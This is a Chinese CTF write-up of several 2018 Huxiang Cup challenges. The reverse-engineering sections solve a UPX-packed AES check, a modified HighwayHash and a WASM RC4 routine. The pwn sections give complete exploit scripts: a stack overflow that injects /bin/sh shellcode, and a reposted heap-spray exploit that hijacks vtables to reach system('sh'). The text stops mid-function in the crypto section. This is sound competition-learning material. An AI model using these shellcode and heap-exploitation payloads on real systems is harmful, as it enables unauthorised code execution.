湖湘杯 2018 线上赛部分题目复现


湖湘杯 2018 线上赛部分题目复现

RE

1. Replace

程序给加了 UPX 的壳,直接在 linux 下面脱掉,注意脱完壳的程序就不能正常运行了。
脱了壳直接丢到 IDA 里面去看,逻辑很清晰,主函数只有一点点代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // kr00_4
char Buf; // [esp+4h] [ebp-2Ch]
char Dst; // [esp+5h] [ebp-2Bh]

Buf = 0;
memset(&Dst, 0, 0x27u);
printf("Welcome The System\nPlease Input Key:");
gets_s(&Buf, 0x28u);
v3 = strlen(&Buf);
if ( (v3 - 35) <= 2 )
{
if ( sub_401090(&Buf, v3) == 1 )
printf("Well Done!\n");
else
printf("Your Wrong!\n");
}
return 0;
}

关键函数是 sub_401090,如果对加密算法熟悉的话很容易可以看出来这是 AES 加密,但是像我这种laji就只能依靠 IDA 的插件啦。
给出了密钥和密文,那直接写解密脚本就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
target = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22, 72]
token = [50, 97, 52, 57, 102, 54, 57, 99, 51, 56, 51, 57, 53, 99, 100, 101, 57, 54, 100, 54, 100, 101, 57, 54, 100, 54, 102, 52, 101, 48, 50, 53, 52, 56, 52, 57, 53, 52, 100, 54, 49, 57, 53, 52, 52, 56, 100, 101, 102, 54, 101, 50, 100, 97, 100, 54, 55, 55, 56, 54, 101, 50, 49, 100, 53, 97, 100, 97, 101, 54]
i = 0
while i <= 35:
for flag in range(0x100):
v6 = (flag >> 4) % 16
v7 = (16 * flag >> 4) % 16
v8 = token[2 * i]
if (v8 < 48 or v8 > 57):
v9 = v8 - 87
else:
v9 = v8 - 48
v10 = token[2 * i + 1]
v11 = 16 * v9
if (v10 < 48 or v10 > 57):
v12 = v10 - 87
else:
v12 = v10 - 48
if target[16 * v6 + v7] == (v11 + v12) ^ 0x19:
print(chr(flag))
i += 1
# flag{Th1s_1s_Simple_Rep1ac3_Enc0d3}

flag : flag{Th1s_1s_Simple_Rep1ac3_Enc0d3}

2. Highwayhash

一开始光顾着撸题了,没有注意题目的名字,导致逆了半天算法然后啥也没看出来。。。
之后终于看到了题目的名字和提示,上网找找 highwayhash,在 github 上面找到了它,是 google 优化现有 hash 算法的一个项目,看看源代码发现和反汇编的结果很相似,应该是出题人拿源码直接修改的(事实证明只修改了 HighwayHashReset 函数里面的一些东西),不同的地方是 key。
回头继续看伪代码,有一个提示:Please enter flag(Note:hxb2018{digital}: , flag 的格式应该是 hxb2018{纯数字},接着是调用了两次 hash,第一次加密了 flag 的长度,第二次加密的 flag 的内容(刨除 hxb2018{} 外壳),两次加密都只给出了 hash 的结果。
想要算出第一个 hash 比较简单,直接动态调试 + 手动爆破就可以,最后算出的 flag 长度是 19,除去 flag 的外壳纯数字的部分只有 10 位,也就是说 flag 的可能性有 10^10 = 一百亿个。。。
不算太多,应该可以爆破出来,这道题简单的思路有两种,第一个是把 github 上面的源代码拖下来,修改一下直接爆破,另一个是调程序里面的函数,需要先修改一下 PE 头,然后编写另一个程序,把这道题当做 dll 加载。
第一种方法:克隆 github 上面的代码,key 什么的就不需要管了,修改好代码之后去爆破,先把 highwayhash.c 里面的 HighwayHashReset 函数修改成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void HighwayHashReset(const uint64_t key[4], HighwayHashState* state) {
state->mul0[0] = 0x1BE6D5D5FE4CCE2F;
state->mul0[1] = 0x24093822299F31D0;
state->mul0[2] = 0x33198A2E03707344;
state->mul0[3] = 0x443F6A8885A308D3;
state->mul1[0] = 0x5BD39E10CB0EF593;
state->mul1[1] = 0x60ACF169B5F18A8C;
state->mul1[2] = 0x7E5466CF34E90C6C;
state->mul1[3] = 0x852821E638D01377;
state->v0[0] = 0xCF0C0C1ED5EDF3E;
state->v0[1] = state->mul0[1] ^ 0x3F3E3D3C3B3A1918;
state->v0[2] = state->mul0[2] ^ 0x1226252423222121;
state->v0[3] = state->mul0[3] ^ 0x2F2E2D2C2B2A2928;
state->v1[0] = state->mul1[0] ^ 0x1312111117161514;
state->v1[1] = state->mul1[1] ^ 0x3B3A19183F3E3D3C;
state->v1[2] = state->mul1[2] ^ 0x2322212112262524;
state->v1[3] = state->mul1[3] ^ 0x2B2A29282F2E2D2C;
}

然后另写一份代码(可以参考给出的 highwayhash_test.c 来写),先拿长度测试一下修改的是否正确:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// g++ 0.c highwayhash.c -o test -O3
#include "highwayhash.h"

#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>


int main() {
const uint64_t key[4]={0};
uint8_t data[4]={19,0,0,0};
printf("%llx",HighwayHash64(data, 4, key));
return 0;
}

注意编译的时候要用 g++ 0.c highwayhash.c -o test -O3 进行联合编译(比赛的时候一直编译不过去,好气哦。。。),开启 3 级优化。
然后运行我们的代码:
image

结果正确,现在就可以开始爆破了。

借用大佬的代码(链接)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include "highwayhash.h"
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const uint64_t key[4]={0};
uint8_t data[11]={0,0,0,0,0,0,0,0,0,0};
for(uint8_t v1='9';v1>='0';v1--){
for(uint8_t v2='9';v2>='0';v2--){
for(uint8_t v3='9';v3>='0';v3--){
for(uint8_t v4='9';v4>='0';v4--){
for(uint8_t v5='9';v5>='0';v5--){
for(uint8_t v6='9';v6>='0';v6--){
for(uint8_t v7='9';v7>='0';v7--){
for(uint8_t v8='9';v8>='0';v8--){
for(uint8_t v9='9';v9>='0';v9--){
for(uint8_t v10='9';v10>='0';v10--){
data[0]=v1;
data[1]=v2;
data[2]=v3;
data[3]=v4;
data[4]=v5;
data[5]=v6;
data[6]=v7;
data[7]=v8;
data[8]=v9;
data[9]=v10;
//printf("NOW : %s \n", data);
if(HighwayHash64(data, 10, key) == 0x7CDCCF71350B7DB8){
puts((char *)data);
exit(0);
}

} } } } } } } } } }
return 0;
}

这是反向爆破的,比正向爆破节省一些时间,大概 10 分钟左右跑出了答案:
image

image

第二种方法:修改 exe,使用另外一个程序加载,调用程序自己的hash函数,直接加载当然是不行的,这和 PE 的结构有关系,首先使用十六进制编辑器编辑源文件,推荐使用 010,找到 PE 头中的 NtHeader –> Characteristics –> IMAGE_FILE_DLL 这个字段,修改为 1,这样就能把这个程序当做 DLL 调用了。
image

修改之后的效果,再次双击这个程序不能运行:
image

现在还有两个问题需要解决。

第一个问题,仅仅修改了 IMAGE_FILE_DLL 并不能直接使用这个文件,还需要修改程序的入口点(基地址),由于 EXE 不存在导出表,所以我们在调用内部函数的时候需要根据 EXE 的 RVA 加上基地址才能找到对应的函数,RVA(即相对虚拟地址)可以使用 IDA 查看,修改入口点可以使用工具 PE Editor。
image

然后就可以使用这个 “DLL” 了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<windows.h>

typedef __int64 (__fastcall *highwayhash)(__int64 buff, unsigned __int64 len); // 定义函数返回值类型以及参数

int main()
{
HMODULE hdll;
hdll = LoadLibrary(TEXT("C:\\Users\\lenovo\\Desktop\\reverse.dll")); // 加载 修改之后的程序
if(hdll == NULL)
{
printf("Load dll failed.\n");
return 0;
}
printf("DLL base: %llx\n",hdll); // dll 的基址

printf("Solving length...\n");
int len;
unsigned long long result;
for(len = 0; len < 50; len++)
{
result = ((highwayhash)((PBYTE)hdll + 0x17a0))((long long )&len, 4); // 调用函数 第一次爆破 flag 的长度
if(result == 0xD31580A28DD8E6C4) // 第一个参数是 4 字节的空间指针,第二个是长度
{ // 调用函数的格式一定要遵循这种标准
printf("[+]FOUND Length: %d\n", len);
}
}

printf("Solving flag...\n");
unsigned long long i;
char buff[20];
for(i = 5299999999; i >= 0; i--)
{
sprintf_s(buff, "%0.10llu", i); // 由于传递的参数是一个指针,可以使用 sprintf 快速制作出符合要求的地址空间。
result = ((highwayhash)((PBYTE)hdll + 0x17a0))((long long )buff, 10);
if(result == 0x7CDCCF71350B7DB8)
{
printf("[+]FOUND: %s\n", buff);
return 0;
}
else if(i % 100000 == 0) // 注意不要把每一个尝试的数字都输出,会导致 stdout 溢出无法显示后续结果。
{
printf("[*]Trying %0.10llu\n", i);
}
}
return 0;
}

另一个问题是编译参数,题目是 PE32+(64 位的 PE),那我们自己写的外挂也需要是 64 位的,在 windows 上编译 64 位程序有许多办法,我去网上下载了 mingw64 ,安装到电脑上就可以把代码编译成 64 位程序了。
编译选项: g++ -m64 0.cpp -o test -O3

由于已经知道了 flag 是多少,直接填写 5299999999 这个值,快速算出答案:

image

和第一种做法得出的答案相同。

后记:还有更简单的方法,看雪战队的大佬们在调试器里面写了一小段汇编,直接调用程序内部的函数,思路上和上面的类似,但是直接撸汇编真的是 TQL。

3. More efficient than JS

这是一道 WASM 的逆向题目,之前是见过一次的(只是见过 hhhh),WASM 是 WebAssembly 编译格式编译出的二进制文件,这种编译格式可以将 C 或 C++ 代码编译成 wasm 文件,开发者可以用 JS 作为桥梁,在网页上直接应用这种二进制程序,于是使用 C 和 C++ 开发网页不再是梦想。。。

不过对于逆向这一方面,WASM 是一种很难看懂的东西,目前没有专门针对这种二进制格式的反汇编器或反编译器,寥寥几款工具的静态分析效果很不理想,而动态调试只能使用浏览器的控制台。
关于 WebAssembly 的详细介绍可以在百度上找到,它的本质是一个基于栈的虚拟机,所有的操作指令(针对操作数的)都可以被简化成 从栈上取值 –> 进行运算 –> 存回栈上,但实际上我在调试题目的过程中,感觉栈的存在感很低,由于细节被调试器屏蔽,我们所面对的只有一堆指令和局部/全局变量。

在开始调试之前需要找到一个能正常运行题目的浏览器,我尝试了 chrome,firefox,以及 360 极速浏览器,只有火狐能够正常执行这个程序,在 Chrome/360 中会报错,原因暂时未知,而且火狐需要使用最新版本(或较新版本)。
打开火狐浏览器,把 hello.html 拖到浏览器中,会直接打开题目页面并弹出一个 Input 窗口:

image

flag 就要输入到这个窗口中,需要注意的是,任意输入一串字符,点击确定按钮之后它并不会消失,就算输入了正确的 flag,这个窗口也会一直存在,点击取消按钮窗口才会消失,我们直接按下F12开启控制台,在调试器一栏中能够找到 wasm:// 这个目录,打开它并双击子目录中的文件,然后刷新页面,就能看到 wasm 的反汇编代码了,如果不小心误操作,刷新页面重置程序,点击代码之前的行号可以下断点,F10是单步步过,F11是单步步入。
我们直接切入正题,要想调试 wasm,首先要在 JS/html 中定位 “驱动函数”,因为目前的 webassembly 技术还需要依赖 JS/html 来调用 wasm。观察 html 代码没有找到调用函数的位置,那就去 js 里面找一找,直接搜索字符串 “Input:” 来定位函数位置。
找到以下代码:

1
2
3
4
5
6
7
else if (typeof window != 'undefined' &&
typeof window.prompt == 'function') {
// Browser.
result = window.prompt('Input: '); // returns null on cancel
if (result !== null) {
result += '\n';
}

虽然找到了关键代码的位置,但是上下翻找并没有发现哪里调用了 wasm 中的函数,下断点跟踪看看也没什么结果,线索到这里似乎断掉了,查看了 dalao 的 wp 之后才发现,在 wasm 文件中存在一个名为 _main 的函数

1
(export "_main" (func $func24))

这个应该就是主函数了,注意在 wasm 中函数名不再是明文标注,而是使用形如 funcxx 的格式,那么主函数就是 func24,直接搜索 func24 定位到主函数下断点,刷新页面,果然断下来。
接下来就可以开始单步调试了,主函数的代码并不复杂,这种代码看起来甚至要比真正的汇编简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
(func $func24 (result i32)
(local $var0 i32) (local $var1 i32) (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32) (local $var8 i32) (local $var9 i32) (local $var10 i32) (local $var11 i32) (local $var12 i32)
get_global $global10
set_local $var12
get_global $global10
i32.const 256
i32.add
set_global $global10
get_global $global10
get_global $global11
i32.ge_s
if
i32.const 256
call $import3
end
get_local $var12
i32.const 240
i32.add
set_local $var10
get_local $var12
i32.const 232
i32.add
set_local $var9
get_local $var12
i32.const 224
i32.add
set_local $var8
get_local $var12
i32.const 216
i32.add
set_local $var7
get_local $var12
i32.const 112
i32.add
set_local $var1
get_local $var12
set_local $var2
i32.const 0
set_local $var0
i32.const 4447
get_local $var7
call $func97
drop
get_local $var8
get_local $var1
i32.store
i32.const 4472
get_local $var8
call $func98
drop
get_local $var1
call $func42
set_local $var3
i32.const 4475
i32.const 8
get_local $var1
get_local $var3
get_local $var2
call $func22
drop
get_local $var2
call $func23
set_local $var4
get_local $var4
i32.const 24
i32.shl
i32.const 24
i32.shr_s
i32.const 0
i32.ne
set_local $var5
get_local $var5
if
i32.const 4484
get_local $var9
call $func97
drop
get_local $var0
set_local $var6
get_local $var12
set_global $global10
get_local $var6
return
else
i32.const 4488
get_local $var10
call $func97
drop
get_local $var0
set_local $var6
get_local $var12
set_global $global10
get_local $var6
return
end
unreachable
i32.const 0
return
)

这道题整个调试过程涉及到的指令翻来覆去只有那么几个,比如 set_local 和 get_local,相当于汇编中的 mov ,i32.const 0,相当于掏出了一个立即数,call 自然是调用函数的意思,更详细的指令解释在这里
单步调试,前面的 set/get 执行了一些初始化操作,第一个遇到的函数是 $func97,步过它没有什么影响,第二个函数是 $func98,单步步过之后就会弹出 Input 提示框,那么这道题目的入口点可能是在 wasm 中,由 wasm 先执行一部分代码,然后将控制权转交给 JS ,JS 获取用户输入,然后再交换控制权给 wasm。
在提示框中输入一些内容,点击确定再点击取消,程序会断在 func98 的下一行。
接下来是 func42,这个函数步入分析一下,大致看一下内部结构有几个循环,查看函数的返回值时发现正好是输入的字符串的长度,比如
image

那么它应该就是 strlen 之类的求字符串长度的函数,直接步过,紧接着进入到本题的关键函数,func22。
首先可以看到函数的几个参数
image
如果这样看不够明显的话,可以搜索 func22

1
(func $func22 (param $var0 i32) (param $var1 i32) (param $var2 i32) (param $var3 i32) (param $var4 i32) (result i32)

很明显的看到函数接收 5 个参数,并返回一个值。
通过 call 上方的五个取值语句,容易分析出它们都是什么,4475 属于 wasm 的指针(没错,指针是十进制数。。。),我们依次点击右边的 Window:Global –> HEAPU8:Uint8Array
image

这里会列出很多的区间,在里面找到 4475:
image

将这几个十进制数转换成字符得到:”I_am_key“ ,猜测这就是加密算法的秘钥,之前的 8 也就是秘钥的长度,类似的,分析出后三个参数是 flag 、flag 的长度、一个空的数组。
步入 func22,单步分析这个函数,绝大部分的操作都是取值–运算–保存结果,很容易(…其实不容易,不知道为什么我的火狐每次调试只能查看一次堆栈,再想看就卡住了,所以基本上是半蒙半调的分析,好在有老哥借给我电脑用用,才能顺利调试)把逻辑分析个大概,真正一步运算是一个异或,其他的都是替换一些数据的位置等等。
image

直接在这个异或下断点,输入的 flag 在 var39,程序内置的数据在 var33,两者异或然后保存到堆栈中。
当这个函数执行完成之后,回到主函数,下面还有最后一个重要函数 func23,同样的,通过单步调试发现是比较函数,关键点在于

1
2
3
4
5
6
set_local $var7
get_local $var3
get_local $var7
i32.ne
set_local $var8
get_local $var8

将加密好的 flag 和内置的数据进行比较,如果完全匹配就成功。
简单的破解思路是在 func22 里面把和 flag 异或的数组取出来,然后在 func23 中取出目标数组,两者异或即可得到正确的 flag。
但是由于调试器的问题,我一直不能正常断在理想的位置,每次运行之后都会跑飞(很气。。。),于是退而求其次,我们可以输入一串相同的字符,比如一串 0,然后直接在 func23 里面取出目标数组和加密之后的数组,将加密之后的数组先逐位异或字符 0,再和目标数组异或即可。
附上解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
s_t = [137, 221, 46, 119, 76, 156, 92, 92, 137, 215, 225, 85, 132, 233, 53, 206, 231]
s = []
for i in s_t:
s.append(i ^ 48)
print(s)
target = [223, 129, 127, 32, 7, 196, 13, 28, 201, 158, 142, 23, 215, 237, 120, 121]
flag = ""
k = 0
while k < len(target) - 1:
flag += chr(s[k] ^ target[k])
k += 1
print(flag)

flag : flag{happy_rc4}

原来是 rc4 算法,其实在代码中也能看见一些端倪。
实际上 webassembly 编译出来的 wasm 文件和一般的二进制类似,指令所实现的功能也大同小异,甚至从某种意义上讲,wasm 反汇编代码要更加简单一些,但是苦于没有较好的工具,逆向起来还是比较头痛的。

PWN

1. Regex Format

题目模拟了一个正则表达式引擎,输入自定义的正则表达式和待匹配的字符串,程序返回正则匹配的结果。
先不去逆向逻辑,搜索字符串发现 “Before :use$ it, :understand$* it :first$+.”,这个应该是出题人给出的样例正则表达式,运行程序,不输入任何新的表达式,待匹配字符串设置为 “Before use it, understand it first.”,即可匹配成功,返回 “Before u it, understand it first.”。
结合真实的正则表达式猜测 冒号 和 美元符号 标识了匹配的范围, 星号 表示匹配零次或多次, 加号 表示匹配至少一次。
之后分析程序的逻辑,关键点在下面这段代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for ( i = 0; i < v34; ++i )
{
v12 = &s;
v11 = &unk_804A634 + 100 * i;
v10 = v32;
v2 = strlen(&s);
v32 = sub_8048930(v11, &v10[v2], v12);
if ( v32 == -1 )
{
dest = 0;
break;
}
v9 = strcat(&dest, &s);
}

匹配函数就是 sub_8048930,传递的三个参数分别是 一块空闲的空间,输入的待匹配字符串,栈上的空间。而漏洞就出在这个 V12 上面。
进入匹配函数分析逻辑,结果和我们的猜测相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
const char *__cdecl sub_8048930(const char *a1, const char *a2, char *a3)
{
bool v4; // [esp+1Fh] [ebp-29h]
char *v5; // [esp+20h] [ebp-28h]
signed int i; // [esp+24h] [ebp-24h]
signed int v7; // [esp+28h] [ebp-20h]
signed int v8; // [esp+2Ch] [ebp-1Ch]
size_t v9; // [esp+30h] [ebp-18h]
const char *v10; // [esp+40h] [ebp-8h]

if ( *a1 == ':' )
{
v9 = strlen(a1);
switch ( a1[v9 - 1] )
{
case '$':
v7 = 1;
v8 = 1;
break;
case '*':
v8 = 1000;
v7 = 0;
break;
case '+':
v8 = 1000;
v7 = 1;
break;
}
for ( i = 0; ; ++i )
{
v4 = 0;
if ( i < v8 )
v4 = sub_80488B0(a1, a2[i]) != 0;
if ( !v4 )
break;
a3[i] = a2[i]; // 漏洞点
}
a3[i] = 0;
if ( i < v7 )
{
v10 = -1;
printf("[!]No match string\n");
}
else
{
v10 = a2;
}
}
else
{
v5 = strstr(a2, a1);
if ( v5 )
{
v10 = v5;
strcpy(a3, a1);
}
else
{
v10 = -1;
printf("[!]No match string\n");
}
}
return v10;
}

注意代码中匹配完成后,会尝试将匹配的结果放入栈上,由于栈上的变量 V12 长度只有 200,而我们可以输入的字符串长度为 1000,会导致栈溢出,控制返回地址,之后就是拿 shell 了。
先看一下程序开启的保护
image

啥也没开,拿 shell 就有很多方式了,我选择在 BSS 段上写一些 shellcode ,然后劫持返回地址到 shellcode 上面。
给出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

debug = 1
context(log_level="DEBUG")

libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("./pwn1")
if debug:
p = process("./pwn1")
else:
p = remote("47.94.194.131",10000)

shellcode = '\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
p.recvuntil("format\n")
payload1 = ":" + p32(0x0804a1fb) + "$*"
p.sendline(payload1)
p.recvuntil("match\n")
payload2 = "Before use it, understand it first." + p32(0x0804a1fb) * 220
p.sendline(payload2)
p.recvuntil("[Y/n]\n")
p.sendline("Y")
p.recvuntil("format\n")
p.sendline(shellcode)
p.recvuntil("match\n")
p.sendline("fuck you!")
p.recvuntil("[Y/n]\n")
p.sendline("n")
p.interactive()

拿到 shell:

image

2. hash burger

这道题是 SECCON 2017 的原题,涉及的技术是堆喷射,暂时没有研究。

链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#!/bin/env python

# CRC reverse module start.

# A library with misc. data manipulation functions
# (c) 2005 - Intrepid Software
# Bas Westerbaan <bas.westerbaan@gmail.com>

exec 'TOO LONG'


# Exploit start. Merged files in convinience.

from pwn import *
from hashlib import sha1

HOST, PORT = '47.107.237.73', 8888
r = remote(HOST, PORT)
#r = process("./challenge")

def add(key, value):
menu_string='1'
r.sendline(menu_string)
r.sendline(str(value))
if str(value)[0] not in '123456789':
return
r.sendline(key)

def collision(hash, prefix=''):
i = 0
crc = Crc32Provider()
while True:
crc.reset()
crc.update(prefix + str(i))
yield prefix + str(i) + crc.patch(hash)
i += 1

r.recvuntil('with \'')
prefix = r.recvuntil('\'', drop=True)

def generate(prefix):
print 'Generating POW'
i = 0
z = [prefix, None]
while True:
z[1] = '%06x' % i
if sha1(''.join(z)).digest().startswith('\x00'):
break
i += 1
p = ''.join(z)
return p

p = generate(prefix)
print 'POW generated: %r' % p[:100]
r.sendline(p)

###############################################################################
# Vulnerability: HashMap OOB access for a large hash
#
# In this program, HashMap operates in open addressing mode.
# It means, if same CRC32 hash exists in table, it looks for next entry.
#
# HashMap::get : it correctly does next_index = (cur_index + 1) % nbuckets;
# HashMap::set : next_index = cur_index + 1; <-- omg
#
# HashMap::set has OOB access for large hash, and Key->compare() is virtual.
# struct HashMap { std::vector keys; Pair *buckets[4096]; }
# struct Pair { const char *value; Key *key; }
# So we can make a fake object with fake vftable to modify PC.
# To do this...
###############################################################################
# Step 1. Creating a fake hashmap entries
# HashMap->buckets[4096, 4097] = <user controlled data>

# 1-1. preparing a user-controllable area right after the hashmap
r.sendline('9'*64)
r.sendline('2')
r.sendline('a'*32)

# 1-2. It fills last(4095th) entry in the hashmap.
c = collision(0xffff)
for i in range(2):
print `c.next()`
add(c.next(), 1)

# r.interactive()

# 1-3. This is for rearranging recently-freed fastbins..
# for achieving a user-controlled area right after the hashmap
for i in range(2):
r.sendline('2')
r.sendline('a'*32)

# At this point, the heap area will be:
# ------------------------------------------------
# | HashMap map ... | 40byte freed fastbin | .. |
# ------------------------------------------------
# In my exploit, 4096th, 4097th will be
# 1) key: NULL, value: 0x29?
# 2) key: buf, value: NULL
# I did heap spray for a fake objects.
buf = 0x2500008
obj = ''
# - This is first pair. value will be uncontrollable chunk size object.
obj += p64(0)
# - This is the second pair. It's **STAGE 1** payload which overwrites:
# ::map = new StringKey(obj)
obj += p64(0) + p64(buf)
# - For fitting the fastbin size (this area is freed as fastbin before)
obj = obj.ljust(34,'A')
# and.. reversing CRC for convinient OOB.
obj = collision(0xffff,obj).next()
# This locates two pair above, sets first pair to key: `obj`, value: "shrimp"
# Fills buckets[4096].
add(obj, 1)

pause()

# Below is fake C++ objects & fake hashmap bucket item pairs.

# These are three targets to write with a heap address (StringKey object)
target1 = 0x605880 # HashMap map = heap
target2 = 0x6058a0 # std::string pow.ptr = heap
target3 = 0x6058b0 + 1 # std::string pow.capacity = heap << 8

# payload2 will be placed at [x & ~0xfff for x in (heap_base + A, heap_base + B, 0x1000)]

# Stage 1 object: ::map = new StringKey(obj)
payload2 = 'a' * 8 + p64(buf + 24) + p64(target1) + p64(0) + p64(0x40201c)
payload2 = payload2.ljust(48)
# Stage 2 objects:
# 2-1. leak(arbitrary address)
payload2 += p64(buf + 48) + p64(0x4014e0)
# 2-2. ::pow.ptr = new StringKey(obj)
payload2 += p64(buf + 56 + 24) + p64(target2) + p64(0) + p64(0x40201c)
# 2-3. ::pow.capacity = new StringKey(obj) << 8
payload2 += p64(buf + 88 + 24) + p64(target3) + p64(0) + p64(0x40201c)
# 2-4. *calls proof_of_work() for arbitrary write in ::map*
payload2 += p64(buf + 128) + p64(0x401a49)
# This null pointers are used for 1, 2-2, 2-3.
payload2 = payload2.ljust(0x100) + p64(0) * 16

# Let me explain this shortly.
# 0x4014e0 is atoi. It'll return 8 because <rdi> has p64(0x2500048).
# 0x40201c is HashMap::set. I used this to overwrite any pointer to a heap ptr.
# 0x401a49 is proof_of_work for arbitrary write in heap area.

# Stage 2. Calling a fake entry via HashMap::get
# Since ::map is now a dangling heap pointer, I can provide some fake entries.
# In this case, payload will be at buckets[10~].

# Below is fake hashmap bucket entries & heap spray
payload = p64(0) + p64(0x605018) + p64(buf + 40) + p64(0x605880) + p64(buf + 40) + p64(0) + p64(buf + 56) + p64(0) + p64(buf + 88) + p64(0) + p64(buf + 120)
payload = payload.ljust(0x1000 - 0xe90, 'a')

# This is also used for heap spray.
while len(payload) < 0xf000:
payload += payload2.ljust(0x1000)

# It's calculated to fill buf address.
cnt = (1<<26)/0x10000
print cnt
for i in range(cnt):
sys.stdout.write('Spraying heap - %4d (%02.2f%% done)\r\n'%(i + 1, 1.0*i/cnt*100))
#sleep(0.5)
add(payload.ljust(0x10000-1-8), 1)

# Triggers buckets[4097]->compare().
add(c.next(), 1)

# Stage 2-1. Now ::map is modified, so we select some bucket and trigger it.

# map->buckets[10]->compare() --> libc leak
r.sendline('2')
r.sendline(collision(10).next())
r.recvuntil('You ordered ')
setvbuf = u64(r.recvline()[:-1].ljust(8, '\x00'))
libc = ELF('./libc6.so')
libc.address = setvbuf - libc.symbols['setvbuf']
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']

# map->buckets[11]->compare() --> heap base leak
r.sendline('2')
r.sendline(collision(11).next())
r.recvuntil('You ordered ')
heap = u64(r.recvline()[:-1].ljust(8, '\x00'))
print hex(heap)
pause()

# map->buckets[12]->compare() --> ::pow.ptr = new StringKey()
r.sendline('2')
r.sendline(collision(12).next())

# map->buckets[13]->compare() --> ::pow.capacity = new StringKey() << 8
r.sendline('2')
r.sendline(collision(13).next())

# map->buckets[14]->compare() --> proof_of_work()
r.sendline('2')
r.sendline(collision(14).next())
r.recvuntil('with \'')
prefix = r.recvuntil("'", drop=True)

# proof_of_work() -> map->buckets[15] = 0x??007368-8
# 0x??007368-8 --> 0x??007368 ("sh\x00?") --> system("sh")
addr = (heap + 0xffffff) & ~0xffffff
addr += u16('sh')
print hex(addr)
obj = prefix + '\x00' * 16 * 13 + p64(0) + p64(addr - 8) + 'a' * (addr - 8 - heap - 280) + p64(addr) + p64(system)
r.sendline(generate(obj))
r.interactive()

CRYPTO

Common Crypto

标准的 AES 加密,先输入 flag ,然后把 flag AES 加密,最后和密文进行比较,通过分析加密函数,不难得出秘钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
char __fastcall sub_140001000(_BYTE *a1)
{
_BYTE *v1; // r9
char v2; // r11
unsigned int v3; // er10
unsigned __int64 v4; // r14
__int64 v5; // r8
unsigned __int8 v6; // bl
unsigned __int8 v7; // di
unsigned __int8 v8; // si
